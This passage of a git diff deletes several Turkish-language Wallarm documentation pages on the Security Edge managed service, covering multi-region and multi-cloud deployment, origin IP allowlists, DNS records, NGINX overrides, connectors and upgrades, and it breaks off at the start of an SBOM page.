a/docs/latest-tr/installation/security-edge/inline/multi-region.md b/docs/latest-tr/installation/security-edge/inline/multi-region.md deleted file mode 100644 index 10112522a0..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/multi-region.md +++ /dev/null @@ -1,133 +0,0 @@ -# Security Edge Inline'ın Çok Bulutlu ve Çok Bölgeli Dağıtımı - -Coğrafi yedeklilik ve düşük gecikme için inline Edge Node'ları birden çok bölgeye ve bulut sağlayıcısına dağıtabilirsiniz. - -[Security Edge yapılandırılırken](deployment.md), desteklenen bulut sağlayıcıları — **AWS** ve **Azure** — genelinde bir veya daha fazla bölge seçebilirsiniz. - -## Çok bölgeli dağıtım - -Tek bir bulut sağlayıcısı içinde birden çok bölge seçildiğinde, trafik gecikmeye göre yönlendirilir — her istek en yakın kullanılabilir bölgeye gider. - -Bu en yaygın kurulumdur; talepleri birden fazla konumdan karşıladığınız durumlarda önerilir. - -![!](../../../images/waf-installation/security-edge/inline/multi-region-edge-nodes.png) - -Kullanılabilir bölgeler [Wallarm Cloud](../../../about-wallarm/overview.md#cloud) hesabınıza bağlıdır (US → US bölgeleri, EU → EU bölgeleri). - -## Çok bulutlu dağıtım - -Farklı bulut sağlayıcıları genelinde birden çok bölge seçildiğinde, gecikme dikkate alınmaksızın tüm istekler seçilen bölgeler ve sağlayıcılar arasında **[round‑robin](https://en.wikipedia.org/wiki/Round-robin_DNS)** stratejisiyle dağıtılır. - -Bu kurulum şu durumlarda önerilir: - -* Bulut sağlayıcısı yedekliliği — trafik tüm seçili sağlayıcılar arasında dağıtılır; böylece biri kullanılamaz hale gelirse (ör. AWS) diğerleri (ör. Azure) kesinti olmadan trafiği işlemeye devam eder. -* Bölgesel yüksek erişilebilirlik — örneğin, hem `AWS US East 1` hem de `Azure East US` seçildiğinde trafik bölgeler arasında dengede kalır ve bir bölge veya sağlayıcı kullanılamaz olsa bile hizmet devam eder. - -![!](../../../images/waf-installation/security-edge/inline/multi-cloud-edge-nodes.png) - -## Orijin erişimi için Wallarm IP aralıkları - -Security Edge'den orijinlerinize olan bağlantıları [mTLS](mtls.md) ile güvence altına almanızı öneririz. Bu, Wallarm IP'leri değiştiğinde IP izin listelerini güncelleme gereğini ortadan kaldırır. - -mTLS kullanılamıyorsa, seçilen bölgelerin Wallarm IP adreslerinden gelen trafiğe izin verin: - -* AWS - - === "US East 1 (N. Virginia)" - ``` - 18.215.213.205 - 44.214.56.120 - 44.196.111.152 - ``` - === "US East 2 (Ohio)" - ``` - 3.148.62.175 - 18.224.237.190 - 3.20.55.107 - 3.135.4.73 - 3.142.190.180 - 3.15.129.1 - 18.116.243.148 - 18.116.233.194 - ``` - === "US West 1" - ``` - 52.8.91.20 - 13.56.117.139 - 54.177.237.34 - 50.18.177.184 - ``` - === "EU Central 1 (Frankfurt)" - ``` - 18.153.123.2 - 18.195.202.193 - 3.76.66.246 - 3.79.213.212 - ``` - === "EU Central 2 (Zurich)" - ``` - 51.96.131.55 - 16.63.191.19 - 51.34.0.90 - 51.96.67.145 - ``` - -* Azure - - === "Central US" - ``` - 104.43.139.76 - 104.43.139.77 - ``` - === "East US 2" - ``` - 20.65.88.253 - 20.65.88.252 - ``` - === "West US 3" - ``` - 20.38.2.233 - 20.38.2.232 - ``` - === "Germany West Central" - ``` - 20.79.250.104 - 20.79.250.105 - ``` - === "Switzerland North" - ``` - 20.203.240.193 - 20.203.240.192 - ``` - -## CNAME kayıtları - -Korumadaki hostunuz üçüncü seviye (veya daha üst seviye) bir alan adıysa (ör. `api.example.com`), DNS bölgenizde [Wallarm tarafından sağlanan FQDN'ye işaret eden CNAME kaydını belirtmeniz gerekir](deployment.md#6-routing-traffic-to-the-edge-node). Bu kayıt **Traffic CNAME** olarak döndürülür. - -* Tek bulut dağıtımı: **seçilen bulut sağlayıcısı için Traffic CNAME**'i kullanın. -* Çok bulutlu dağıtım: seçilen tüm bölgeler ve sağlayıcılar arasında trafiği otomatik olarak dağıtmak için **Traffic CNAME (Global)** kullanın. - - Belirli bir sağlayıcıya yönlendirmeyi zorlamak gerekiyorsa — örneğin sağlayıcılar arası gecikme veya performansı test etmek için — sağlayıcıya özel CNAME'ler de mevcuttur. - -![](../../../images/waf-installation/security-edge/inline/traffic-cname.png) - -## A kayıtları - -Korumadaki hostunuz kök alan adıysa (ör. `example.com`), CNAME kullanılamaz. Bu durumda DNS yapılandırması **A kayıtlarını** kullanmalıdır; bunlar dağıtım [**Active**](upgrade-and-management.md#statuses) olduğunda döndürülür. - -Edge Node dağıtımı için birden fazla bölge veya sağlayıcı seçtiyseniz, döndürülen tüm A kayıtlarını DNS bölgenize eklemeniz gerekir. - -![](../../../images/waf-installation/security-edge/inline/a-records.png) - -Bu durumda trafik yönlendirmesi DNS sağlayıcınız tarafından yönetilir. Varsayılan olarak çoğu DNS sağlayıcısı [round-robin](https://en.wikipedia.org/wiki/Round-robin_DNS) mantığını kullanır, ancak bazıları gecikme tabanlı yönlendirmeyi de destekleyebilir. - -## Bir bulut sağlayıcısını veya bölgeyi kaldırma - -* Bir bulut sağlayıcısını kaldırmadan önce DNS yapılandırmanızı [kalan sağlayıcının Traffic CNAME'ini](#cname-records) kullanacak şekilde değiştirin. - - Bir bulut sağlayıcısı kaldırıldığında, ona ait **Traffic CNAME** silinir. - - Yalnızca bir sağlayıcı kaldıysa, **Traffic CNAME (Global)** de kaldırılır ve kullanılamaz hale gelir. -* Bir bölgeyi kaldırmadan önce [A kayıtlarınızı](#a-records) buna göre güncelleyin. - - Bir bölge kaldırılırsa, ilişkili A kayıtları artık kullanılamaz olacaktır. \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/nginx-overrides.md b/docs/latest-tr/installation/security-edge/inline/nginx-overrides.md deleted file mode 100644 index 7b23ebbb5d..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/nginx-overrides.md +++ /dev/null @@ -1,36 +0,0 @@ -# Security Edge Inline NGINX Geçersiz Kılmaları - -Security Edge Inline, ana makine (server) ve location seviyelerinde NGINX yönergelerinin geçersiz kılınmasını destekler. Bu geçersiz kılmalar, uygulamanızın performansını ve istek işleme davranışını ince ayar yapmanıza olanak tanır. - -!!! info "Desteklenmeyen yönergeler" - Varsayılan olarak desteklenmeyen ek yönergelere ihtiyaç duyuyorsanız, support@wallarm.com adresiyle iletişime geçin. - -## Sunucu düzeyi yönergeler - -Aşağıdaki NGINX yönergeleri her ana makine (server bloğu) için özelleştirilebilir: - -| Yönerge | Açıklama | Varsayılan | -| --------- | ----------- | ------- | -| `proxy_buffer_size` | Yanıtın ilk bölümünü okumak için arabellek boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffer_size) | `8k` | -| `proxy_buffers`| Bir yanıt için arabelleklerin sayısı ve boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffers) | `8 8k` | -| `proxy_busy_buffers_size` | Meşgul bağlantılar için azami arabellek boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_busy_buffers_size) | `8k` | -| `proxy_read_timeout` | Kaynak sunucudan yanıt okuma zaman aşımı. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) | `60s` | -| `proxy_request_buffering` | İstek gövdesinin arabelleğe alınmasını etkinleştir/devre dışı bırak. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_request_buffering) | `on` | -| `proxy_send_timeout` | İsteğin kaynağa iletilmesi için zaman aşımı. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_send_timeout) | `60s` | -| `client_max_body_size` | Azami istek gövdesi boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) | `1m` | -| `large_client_header_buffers` | Büyük başlıklar için arabelleklerin sayısı ve boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_core_module.html#large_client_header_buffers) | `4 8k` | -| `proxy_ssl_name` ve `proxy_ssl_server_name` | HTTPS üzerinden kaynağa bağlanırken ana makine adının TLS SNI üzerinden iletilmesine izin verir. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_ssl_name)

              Controlled by the **Proxy SSL server name** checkbox in host settings. If enabled:
              `proxy_ssl_server_name on;`
              `proxy_ssl_name $http_host;` | Sırasıyla `$proxy_host` ve `off` | - -## Location düzeyi yönergeler - -Aşağıdaki NGINX yönergeleri her location için özelleştirilebilir: - -| Yönerge | Açıklama | Varsayılan | -| --------- | ----------- | ------- | -| `proxy_buffer_size` | Yanıtın ilk bölümünü okumak için arabellek boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffer_size) | `8k` | -| `proxy_buffers`| Bir yanıt için arabelleklerin sayısı ve boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffers) | `8 8k` | -| `proxy_busy_buffers_size` | Meşgul bağlantılar için azami arabellek boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_busy_buffers_size) | `8k` | -| `proxy_read_timeout` | Kaynak sunucudan yanıt okuma zaman aşımı. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) | `60s` | -| `proxy_request_buffering` | İstek gövdesinin arabelleğe alınmasını etkinleştir/devre dışı bırak. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_request_buffering) | `on` | -| `proxy_send_timeout` | İsteğin kaynağa iletilmesi için zaman aşımı. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_send_timeout) | `60s` | -| `client_max_body_size` | Azami istek gövdesi boyutu. [Daha fazla bilgi](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) | `1m` | \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/overview.md b/docs/latest-tr/installation/security-edge/inline/overview.md deleted file mode 100644 index 022e3b01a8..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/overview.md +++ /dev/null @@ -1,32 +0,0 @@ -# Security Edge Inline Genel Bakış - -[**Security Edge**](../overview.md) platformu, Wallarm tarafından barındırılan bir ortamda coğrafi olarak dağıtılmış konumlarda Wallarm Nodes konuşlandırmak için yönetilen bir hizmet sağlar. Temel dağıtım seçeneklerinden biri, saha içi kurulum gerektirmeden tüm API altyapınız için gerçek zamanlı, sağlam koruma sunan **inline** dağıtımdır. - -![!](../../../images/waf-installation/security-edge/inline/traffic-flow.png) - -## Kullanım senaryoları - -Aşağıdaki durumlarda API'leri güvence altına almak için ideal bir çözümdür: - -* Minimum operasyonel karmaşıklığa sahip, tamamen yönetilen bir güvenlik çözümü arıyorsunuz. -* Trafiği DNS üzerinden Wallarm'a yönlendirebiliyorsunuz. - -## Nasıl çalışır - -Security Edge Inline ile API trafiğiniz, Wallarm Nodes'ların Wallarm tarafından konuşlandırıldığı, barındırıldığı ve yönetildiği Wallarm'ın küresel olarak dağıtılmış Points of Presence (PoP'ları) üzerinden yönlendirilir. - -* DNS tabanlı trafik yönlendirme: DNS'inizi, API alan adlarınızı Wallarm Edge Node'a işaret edecek şekilde yapılandırırsınız. -* PoP seçimi ve yönlendirme: istekler, gecikmeye veya seçtiğiniz bölge(ler)e göre en yakın uygun PoP'a yönlendirilir. -* Gerçek zamanlı inceleme ve filtreleme: inline Node, gelen istekleri analiz eder ve meşru trafiği origin sunucularınıza iletmeden önce kötü amaçlı olanları engeller. -* Çoklu bulut ve çoklu bölge: yüksek kullanılabilirlik ve coğrafi yedeklilik için farklı bulut bölgelerine inline Node'lar konuşlandırabilirsiniz. -* Otomatik ölçeklendirme ve güncellemeler: Wallarm, Node ölçeklendirmesini, güncellemeleri ve bakımı üstlenir - sizin tarafınızdan herhangi bir işlem gerekmez. - -## Sınırlamalar - -* Yalnızca 64 karakterden kısa alan adları desteklenir. -* Yalnızca HTTPS trafiği desteklenir; HTTP'ye izin verilmez. -* [Özel engelleme kodu](../../../admin-en/configuration-guides/configure-block-page-and-code.md) yapılandırması henüz desteklenmiyor. - -## Dağıtım - -Security Edge Inline'ı dağıtmak için [adım adım talimatları](deployment.md) izleyin. \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/telemetry-portal-logs-dashboard.md b/docs/latest-tr/installation/security-edge/inline/telemetry-portal-logs-dashboard.md deleted file mode 100644 index d38cfd27bb..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/telemetry-portal-logs-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal-logs-dashboard.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/telemetry-portal-main-dashboard.md b/docs/latest-tr/installation/security-edge/inline/telemetry-portal-main-dashboard.md deleted file mode 100644 index e1007683d3..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/telemetry-portal-main-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal-main-dashboard.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/telemetry-portal.md b/docs/latest-tr/installation/security-edge/inline/telemetry-portal.md deleted file mode 100644 index 817ba47d05..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/telemetry-portal.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/inline/upgrade-and-management.md b/docs/latest-tr/installation/security-edge/inline/upgrade-and-management.md deleted file mode 100644 index 0c06ab2ecb..0000000000 --- a/docs/latest-tr/installation/security-edge/inline/upgrade-and-management.md +++ /dev/null @@ -1,48 +0,0 @@ -# Security Edge Inline'ı Yönetme - -[Security Edge Inline](overview.md) dağıtımınızı Wallarm Console üzerinden yapılandırma ayarlarını güncelleyerek, Node sürümlerini yükselterek, durumu izleyerek ve dağıtımı silerek yönetin. - -## Durumlar - -Edge Node bölümü, origin'leriniz, hostlarınız ve bölgeleriniz için dağıtım ve yapılandırma durumuna ilişkin gerçek zamanlı durumlar sağlar: - -=== "Hostlar" - ![!](../../../images/waf-installation/security-edge/inline/host-statuses.png) -=== "Origin'ler" - ![!](../../../images/waf-installation/security-edge/inline/origin-statuses.png) -=== "Bölgeler" - ![!](../../../images/waf-installation/security-edge/inline/region-statuses.png) -=== "Düğümler" - **Nodes** sekmesi her bir Edge Node için teknik ayrıntılar sağlar. Bu görünüm öncelikle sorun gidermede yardımcı olması için Wallarm Support içindir. Node sayısı trafik talebine bağlıdır ve Wallarm'ın otomatik ölçeklendirmesi tarafından otomatik olarak yönetilir. - - ![!](../../../images/waf-installation/security-edge/inline/nodes-tab.png) - -* **Pending cert CNAME**: Sertifika verilmesi için (uygunsa) DNS'e [sertifika CNAME kayıtlarının](deployment.md#5-certificate-cname-configuration) eklenmesi bekleniyor. -* **Pending traffic CNAME** veya **Pending traffic A record**: Dağıtım tamamlandı, trafiği Edge Node'a yönlendirmek için [trafik CNAME veya A kaydının](deployment.md#6-routing-traffic-to-the-edge-node) eklenmesi bekleniyor. -* **Deploying**: Edge Node şu anda kuruluyor ve yakında kullanıma hazır olacak. -* **Active**: Edge Node tamamen çalışır durumda ve yapılandırıldığı şekilde trafiği filtreliyor. -* **Cert CNAME error**: DNS'te [sertifika CNAME](deployment.md#5-certificate-cname-configuration) doğrulanırken bir sorun oluştu. Lütfen CNAME'in doğru yapılandırıldığını kontrol edin (uygunsa). -* **Deployment failed**: Edge Node dağıtımı başarısız oldu; örn. sertifika CNAME'in 14 gün içinde eklenmemesi nedeniyle. Yapılandırma ayarlarını kontrol edin ve yeniden dağıtmayı deneyin veya yardım almak için [Wallarm Support ekibi](https://support.wallarm.com) ile iletişime geçin. -* **Degraded**: Edge Node bölgede aktif ancak sınırlı işlevselliğe sahip olabilir veya küçük sorunlar yaşıyor olabilir. Yardım almak için lütfen [Wallarm Support ekibi](https://support.wallarm.com) ile iletişime geçin. - -Hostlar ve origin'ler başına RPS ve istek sayısı [sürüm](../../../updating-migrating/node-artifact-versions.md#all-in-one-installer) 5.3.0'dan itibaren döndürülür. - -## Edge Inline'ı Yükseltme - -**Admin settings** içinde **Auto update** etkinleştirildiğinde, Edge Node, yeni bir minor veya patch sürümü yayınlandığında (seçilen seçeneğe bağlı olarak) otomatik olarak yükseltilir. Tüm başlangıç ayarlarınız korunur. Auto update varsayılan olarak kapalıdır. - -![!](../../../images/waf-installation/security-edge/inline/admin-settings.png) - -Edge Node'u manuel olarak yükseltmek için **Configure** → **Admin settings** bölümüne gidin ve listeden bir sürüm seçin. En iyi performans ve güvenlik için en son sürümün kullanılması önerilir. - -Yeni bir major sürüme yükseltme yalnızca manuel olarak yapılabilir. - -Sürümlerin değişiklik günlüğü için [makaleye](../../../updating-migrating/node-artifact-versions.md#all-in-one-installer) bakın. Edge Node sürümü, bağlı makaledeki aynı sürüme karşılık gelen `..` biçimini izler. Edge Node sürümündeki build numarası küçük değişiklikleri belirtir. - -## Edge Inline'ı Silme - -Edge dağıtımınızı silmek için **Configure** → **Admin settings** → **Delete inline**'a tıklayın. - -Nodes'ları silip yeniden oluşturmayı planlıyorsanız, [mevcut dağıtımın ayarlarını](deployment.md) ayarlayabilirsiniz; Nodes güncellenmiş yapılandırmayla yeniden dağıtılacaktır. - -Aboneliğinizin süresi dolarsa, Edge Node 14 gün sonra otomatik olarak silinir. \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/overview.md b/docs/latest-tr/installation/security-edge/overview.md deleted file mode 100644 index 2404b52657..0000000000 --- a/docs/latest-tr/installation/security-edge/overview.md +++ /dev/null @@ -1,46 +0,0 @@ -# Security Edge - -Security Edge, [Wallarm Node](../../about-wallarm/overview.md#filtering-node) barındırmadan API’lerinizi ve uygulamalarınızı korumanıza olanak tanıyan, Wallarm tarafından yönetilen bir dağıtım seçeneğidir. Trafiği **Wallarm’ın küresel olarak dağıtılmış Edge altyapısına** yönlendirirsiniz; burada trafik filtrelenir ve güvenle backend’inize iletilir. - -Node, Wallarm tarafından barındırılır ve işletilir; bu da ekibiniz için altyapı yükünü azaltır. - -## Temel avantajlar - -Security Edge hizmeti, Wallarm Node’ların Wallarm tarafından dağıtıldığı, barındırıldığı ve yönetildiği güvenli bir bulut ortamı sağlar: - -* Tamamen yönetilen, minimum operasyonel karmaşıklığa sahip çözüm. -* Anahtar teslim dağıtım: Wallarm’ın Node’ları küresel olarak dağıtılmış konumlara otomatik olarak dağıtması için minimum kurulum yeterlidir. -* Otomatik ölçekleme: Node’lar, değişken trafik yüklerini karşılamak için manuel yapılandırmaya gerek kalmadan yatay olarak otomatik ölçeklenir. -* Düşük maliyet: Wallarm tarafından yönetilen Node’larla daha düşük operasyonel yük, daha hızlı dağıtım ve ölçeklenebilirlik sağlar. -* Sorunsuz entegrasyon: Basit yapılandırma ile API ortamınızı kesintiye uğratmadan korumanıza olanak tanır. -* Küresel PoP ağı ve gecikme temelli DNS yönlendirmesi: trafik, kullanıcılarınıza yakın konumlarda bulunan Wallarm’ın dağıtılmış PoP’leri üzerinden yönlendirilir. - -## Mevcut dağıtım seçenekleri - -
              -
              - - - -

              Security Edge Inline

              -

              Gerçek zamanlı trafik Edge Node üzerinden yönlendirilir, filtrelenir ve origin’inize iletilir

              -               - - - -

              Security Edge Connector

              -

              Asenkron analiz veya gerçek zamanlı engelleme için Edge Node’u API platformunuza bağlayın

              -               -
              -
              - -!!! info "Dağıtım alternatifleri" - Daha fazla kontrol veya geleneksel barındırma seçenekleri mi arıyorsunuz? [Kendi altyapınızda barındırılan Node dağıtımı](../supported-deployment-options.md) ve [Connector’lar için kendi altyapınızda barındırılan Node dağıtımı](../connectors/overview.md) sayfalarına göz atın. - -## Free Tier - -Security Edge, aylık en fazla **500.000 istek için ücretsiz** olan Free Tier planında mevcuttur. - -Edge Node’ları Free Tier planı üzerinden [**Quick setup** wizard](free-tier.md) aracılığıyla dağıtabilirsiniz. - - \ No newline at end of file diff --git a/docs/latest-tr/installation/security-edge/se-connector.md b/docs/latest-tr/installation/security-edge/se-connector.md deleted file mode 100644 index 6512f70926..0000000000 --- a/docs/latest-tr/installation/security-edge/se-connector.md +++ /dev/null @@ -1,121 +0,0 @@ -[se-connector-setup-img]: ../../images/waf-installation/security-edge/connectors/setup-view.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-hosts-locations-img]: ../../images/waf-installation/security-edge/connectors/hosts-locations.png - -# Security Edge Bağlayıcıları - -[**Security Edge**](overview.md) platformu, Wallarm tarafından barındırılan bir ortamda coğrafi olarak dağıtılmış konumlarda Wallarm Node’larının dağıtımı için yönetilen bir hizmet sunar. Temel dağıtım seçeneklerinden biri, sahada kurulum gerektirmeden tüm API ortamınız için güçlü koruma sağlayan [**connector**](../connectors/overview.md) Node dağıtımıdır. - -![!](../../images/waf-installation/security-edge/connectors/traffic-flow.png) - -!!! info "Desteklenen platformlar" - Şu anda Edge bağlayıcıları yalnızca MuleSoft Mule Gateway, CloudFront, Cloudflare, Fastly, IBM DataPower için mevcuttur. - -## Gereksinimler - -* [Security Edge aboneliği](../../about-wallarm/subscription-plans.md) (ücretsiz veya ücretli) -* Aşağıdaki API yönetim platformlarından birinde çalışan API: - - * MuleSoft Mule Gateway - * CloudFront - * Cloudflare - * Fastly - * IBM DataPower - -## Security Edge Bağlayıcılarını Çalıştırma - -Security Edge Connector’ı çalıştırmak için Wallarm Console → **Security Edge** → **Connectors** → **Add connector** yolunu izleyin. Bu bölüm mevcut değilse, gerekli aboneliğe erişim için sales@wallarm.com ile iletişime geçin. - -Free Tier’da, [Quick setup](free-tier.md) ile Edge Node’ları dağıttıktan sonra **Security Edge** bölümü ayarları düzenlemenize olanak tanır. - -### 1. Bir bağlayıcı için Edge Node’u dağıtma - -Yalnızca bağlayıcı ayarlarını belirtmeniz gerekir. Wallarm dağıtımı gerçekleştirir ve platformdan trafiği yönlendirmek için bir uç nokta sağlar. - -Tek bir uç nokta, farklı host’lardan birden fazla bağlantıyı işleyebilir. - -1. Wallarm Console → **Security Edge** → **Connectors** → **Add connector** adımlarını izleyin. - - ![!][se-connector-setup-img] -1. Node dağıtım ayarlarını belirtin: - - * **Regions**: bağlayıcı için Wallarm Node’u dağıtmak üzere bir veya daha fazla bölge seçin. API’lerinizin veya uygulamalarınızın dağıtıldığı konumlara yakın bölgeleri seçmenizi öneririz. Birden fazla bölge, bir örnek kullanılamaz hale gelirse yükü dengeleyerek coğrafi yedekliliği artırır. - - Bölgeleri **AWS** veya **Azure** içinde seçebilirsiniz. - - * **Filtration mode**: [trafik analiz modu][filtration-mode-docs]. - * **Application**: genel uygulama kimliği. Wallarm’da [uygulamalar](../../user-guides/settings/applications.md), altyapınızın bölümlerini (ör. alan adları, konumlar, örnekler) tanımlamaya ve düzenlemeye yardımcı olur. - - Her Node için genel bir uygulama kimliği gereklidir; ayrıca konumlar veya örnekler için özel kimlikler atayabilirsiniz. - - * **Allowed hosts**: Node’un hangi host’lardan gelen trafiği kabul edip analiz edeceğini belirtin. - - Belirtilen host mevcut değilse veya erişilemiyorsa 415 hatası döndürülür ve trafik işlenmez. - - * **Location configuration**: gerekirse belirli host ve konumlara özgü uygulama kimlikleri ve trafik analiz modunu atayın. - - ![!][se-connector-hosts-locations-img] -1. **Auto-update strategy** ayarlarında bir [Edge Node sürümü](../../updating-migrating/native-node/node-artifact-versions.md#all-in-one-installer) seçebilir ve gerekirse [Auto update](#upgrading-the-edge-node) özelliğini etkinleştirebilirsiniz. Herhangi bir sürüm açıkça seçilmezse en son sürüm otomatik olarak dağıtılır. - - ![!](../../images/waf-installation/security-edge/connectors/autoupdate.png) -1. Kaydettikten sonra, Wallarm’ın bağlayıcı için Node’u dağıtıp yapılandırması 3-5 dakika sürer. - - Dağıtım tamamlandığında durum **Pending**’den **Active**’e değişecektir. -1. Platformunuzdan trafiği yönlendirmek için daha sonra gerekebileceğinden Node uç noktasını kopyalayın. - -![!](../../images/waf-installation/security-edge/connectors/copy-endpoint.png) - -Node **Active** durumundayken Edge Node dağıtım ayarlarını istediğiniz zaman değiştirebilirsiniz. Node, **Pending** durumundan **Active**’e yeniden dağıtılır. Uç nokta değişmez, ancak yeniden dağıtım sırasında kullanılamaz olacaktır. - -### 2. API’lerinizin çalıştığı platforma Wallarm kodunu enjekte etme - -Edge Node’u dağıttıktan sonra, trafiği dağıtılan Node’a yönlendirmek için platformunuza Wallarm kodunu enjekte etmeniz gerekir. - -1. Wallarm Console UI üzerinden platformunuz için bir kod paketi indirin. - - ![!](../../images/waf-installation/security-edge/connectors/download-code-bundle.png) -1. Paketi aşağıdaki talimatları izleyerek API yönetim platformunuza uygulayın: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [IBM DataPower](../connectors/ibm-api-connect.md#2-obtain-and-apply-the-wallarm-policies-to-apis-in-ibm-api-connect) - -## Telemetri portalı - -Security Edge Bağlayıcıları için telemetri portalı, Wallarm tarafından işlenen trafik metriklerine ilişkin gerçek zamanlı içgörüler sunan bir Grafana panosu sağlar. - -Pano; toplam işlenen istekler, RPS, tespit edilen ve engellenen saldırılar, dağıtılan Edge Node sayısı, kaynak tüketimi, 5xx yanıtlarının sayısı vb. gibi temel metrikleri görüntüler. - -![!](../../images/waf-installation/security-edge/connectors/telemetry-portal.png) - -Node **Active** durumuna ulaştığında **Run telemetry portal** gerçekleştirin. Başlatmadan ~5 dakika sonra Security Edge bölümünden doğrudan bir bağlantı ile erişilebilir hale gelir. - -![!](../../images/waf-installation/security-edge/connectors/run-telemetry-portal.png) - -Grafana ana sayfasından, panele ulaşmak için **Dashboards** → **Wallarm** → **Portal Connector Overview** yolunu izleyin. Birden fazla Node için her paneli görüntülemek üzere bağlayıcı uç noktasına karşılık gelen **Tenant ID**’yi değiştirin. - -## Edge Node’u Yükseltme - -**Auto update** etkinleştirildiğinde, Edge Node yeni bir minor veya patch sürümü yayınlanır yayınlanmaz (seçilen seçeneğe bağlı olarak) otomatik olarak yükseltilir. Tüm başlangıç ayarlarınız korunur. Auto update varsayılan olarak kapalıdır. - -Edge Node’u manuel olarak yükseltmek için, Node’unuzu düzenlemek üzere açın ve **Auto update** bölümünde bir sürüm seçin. En iyi performans ve güvenlik için en son sürümün kullanılması önerilir. - -Yeni bir major sürüme yükseltme yalnızca manuel olarak yapılabilir. - -Sürümlerin değişiklik günlüğü için [makaleye](../../updating-migrating/native-node/node-artifact-versions.md#all-in-one-installer) bakın. Edge Node sürümü, bağlantılı makaledeki ile aynı sürüme karşılık gelen `..` biçimini takip eder. Edge Node sürümündeki derleme numarası küçük değişiklikleri belirtir. - -Ek olarak, bağlayıcı kod paketinizi de yükseltmeniz gerekebilir. Değişiklik günlüğü ve yükseltme talimatları için [Connector Kod Paketi Değişiklik Günlüğü](../connectors/code-bundle-inventory.md) sayfasına bakın. - -## Edge Node’u Silme - -Edge Node’u silerseniz, uç noktası kullanılamaz hale gelir ve güvenlik analizi için trafiği artık bu uç nokta üzerinden yönlendiremezsiniz. - -Platformunuza enjekte edilen Wallarm kod paketi, paket ayarlarında belirtilen Node uç noktasına ulaşmayı denemeye devam edecektir. Ancak, `failed: Couldn't resolve address` hatasıyla başarısız olur ve trafik Edge Node üzerinden geçmeden hedefe akmaya devam eder. - -Aboneliğinizin süresi dolarsa, Edge Node 14 gün sonra otomatik olarak silinir. - -## Sorun giderme - ---8<-- "../include/waf/installation/security-edge/connector-troubleshooting.md" \ No newline at end of file diff --git a/docs/latest-tr/integrations-devsecops/generate-sbom-for-docker-images.md b/docs/latest-tr/integrations-devsecops/generate-sbom-for-docker-images.md deleted file mode 100644 index 6fdce7aced..0000000000 --- a/docs/latest-tr/integrations-devsecops/generate-sbom-for-docker-images.md +++ /dev/null @@ -1,46 +0,0 @@ -# Wallarm Docker İmajları için SBOM Oluşturma - -Yazılım Malzeme Listesi (SBOM), bir uygulamadaki yazılım bileşenlerini ve bunların bağımlılıklarını; sürümler, lisanslar ve güvenlik açıkları dahil olmak üzere listeleyen bir envanterdir. Bu makale, Wallarm Docker imajları için SBOM oluşturma konusunda rehberlik eder. - -Wallarm Docker imajları için SBOM’u, imajlarda kullanılan bağımlılıklarla ilişkili potansiyel güvenlik risklerini değerlendirmek ve azaltmak amacıyla elde etmeniz gerekebilir. SBOM, yazılım bileşenlerine şeffaflık sağlar ve uyumluluğu sağlamaya yardımcı olur. - -## Wallarm Docker imajlarının listesi - -Aşağıda [imzalı](verify-docker-image-signature.md) Wallarm Docker imajlarının listesi yer almaktadır. Bu imajların herhangi bir etiketinden SBOM üretebilirsiniz. - -* [wallarm/node](https://hub.docker.com/r/wallarm/node) 4.8.0-1 ve üzeri: [NGINX tabanlı Docker imajı](../admin-en/installation-docker-en.md) tüm Wallarm modüllerini içerir ve Wallarm dağıtımı için bağımsız bir artefakt olarak hizmet eder -* [NGINX tabanlı Ingress Controller dağıtımı](../admin-en/installation-kubernetes-en.md) için Helm chart’ının kullandığı tüm Docker imajları: - - * [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* [Sidecar 